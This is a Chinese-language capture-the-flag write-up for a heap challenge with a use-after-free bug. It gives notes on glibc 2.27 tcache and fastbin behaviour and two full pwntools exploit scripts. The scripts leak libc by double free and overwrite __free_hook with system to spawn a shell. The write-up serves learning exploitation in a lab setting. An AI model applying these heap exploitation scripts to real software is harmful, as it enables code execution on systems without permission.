看了大佬们的思路才做出来的,这里只记录一下做题中踩的坑。
1.add函数
2.del函数
free后没有把数组元素标记为0,存在UAF漏洞.
思路是:1.double free 改fd 到 另一个chunk 的首地址处,然后修改chunksize ,原因是程序限制了分配大小为120字节,free到unsorted bin里面。
2.free chunk 到unsorted bin里面
3.double free 修改fd 到第二步中的chunk,之后便可以malloc 到unsorted bin处,然后泄露libc
4.继续利用double free改fd到free_hook,改为system即可。
1.tcache bin的一些注意事项:
与size有关的一些:
有64个bin , 每个bin里面最多有7个 chunk
每个bin 的chunk 大小(向下取整 ,& ~(0xf)):
0x20,0x30,.........0x400,0x410
0x413,0x415...之类的size ,在向下取整对齐后也是属于0x410的
要想使chunk不进入tcache bin,就要满足:
对应bin里面已经有7个chunk,或者该chunk 的size >= 0x420
还有一点要注意count 数组 是无符号的, 0的时候还可以get一个,但是变成 -1 后就无法put 了.
安全检查:
typedef struct tcache_entry
{
struct tcache_entry *next; //只有一个成员,下一个chunk的地址+prev_size + cur_size ,
//2.31新增了 key 用于double free check.
} tcache_entry;
glibc 2.27里面的tcache_entry只有一个next指针,2.31里面还有一个key 用于检查double free.
2.27 没有double free的检查,随便搞就可以了
2.fastbin
默认最大chunk 是0x80 (向下取整对齐后的结果),必须使Chunk 的 size >= 0x90 才能丢到unsorted bin里面.
3.注意free chunk的时候会检查下一个chunk的大小.
exp:
from pwn import*
#sh = process('./pwn')
sh = remote('node4.buuoj.cn',29672)
def add(idx,size,payload):
sh.sendlineafter(b'2. remove\n',b'1')
sh.sendlineafter(b'input the index',str(idx).encode())
sh.sendlineafter(b'input the size',str(size).encode())
sh.sendlineafter(b'now you can write something',payload)
sh.recvuntil(b'gift :')
return int(sh.recvline()[:-1],16)
def free(idx):
sh.sendlineafter(b'2. remove\n',b'2')
sh.sendlineafter(b'input the index',str(idx).encode())
#泄露libc
#0x20
add(0,0x10,b'emmm') #double free.
#0x421
nextchunk = add(1,0x10,'emmm') - 0x10
for i in range(8):
add(2+i,0x70,'emmm')
#阻止合并到top chunk
add(11,0x10,'emmm')
#
log.success('next chunk %x',nextchunk)
free(0)
free(1)
free(0)
free(1)
#
add(12,0x10,p64(nextchunk))
add(13,0x10,'emm')
add(14,0x10,'emm')
add(15,0x10,p64(0) + p64(0x421))
#
free(1) #-->unsorted bin
# #
free(11)
free(0)
free(11)
free(0)
free(11)
add(16,0x10,p64(nextchunk + 0x10))
add(17,0x10,'emm')
add(18,0x10,'emm')
add(19,0x10,'emm')
libc_base = add(20,0x10,'\x00') - 0x3ebca0
system = libc_base + 0x4f440
free_hook = libc_base + 0x3ed8e8
log.success('libc_base :%x ',libc_base)
free(0)
free(11)
free(0)
free(11)
add(21,0x10,p64(free_hook))
add(22,0x10,b'/bin/sh') #22
add(23,0x10,b'emm')
add(24,0x10,p64(system))
#gdb.attach(sh)
sh.interactive()
做这道题的时候我以为tcache bin会检测出连续两个chunk 的double free. 刚才又看了一下源码才发现没有这个检查.
修改了一下exp:
from pwn import*
sh = process('./pwn')
#sh = remote('node4.buuoj.cn',29672)
def add(idx,size,payload):
sh.sendlineafter(b'2. remove\n',b'1')
sh.sendlineafter(b'input the index',str(idx).encode())
sh.sendlineafter(b'input the size',str(size).encode())
sh.sendlineafter(b'now you can write something',payload)
sh.recvuntil(b'gift :')
return int(sh.recvline()[:-1],16)
def free(idx):
sh.sendlineafter(b'2. remove\n',b'2')
sh.sendlineafter(b'input the index',str(idx).encode())
#泄露libc
#0x20
add(0,0x10,b'emmm') #double free.
#0x421
nextchunk = add(1,0x10,'emmm') - 0x10
for i in range(8):
add(2+i,0x70,'emmm')
#阻止合并到top chunk
add(11,0x10,'emmm')
#
log.success('next chunk %x',nextchunk)
free(0)
free(0)
free(0)
#
add(12,0x10,p64(nextchunk))
add(13,0x10,'emm')
add(14,0x10,p64(0) + p64(0x421))
#
free(1) #-->unsorted bin
#gdb.attach(sh)
# 修改fd 到unsorted bin
free(0)
free(0)
free(0)
free(0)
#
add(16,0x10,p64(nextchunk + 0x10))
add(17,0x10,'emm')
add(18,0x10,'emm')
libc_base = add(19,0x10,'\x00') - 0x3ebca0
system = libc_base + 0x4f440
free_hook = libc_base + 0x3ed8e8
log.success('libc_base :%x ',libc_base)
#gdb.attach(sh)
free(0)
free(0)
free(0)
add(20,0x10,p64(free_hook))
add(21,0x10,b'/bin/sh')
add(22,0x10,p64(system))
sh.interactive()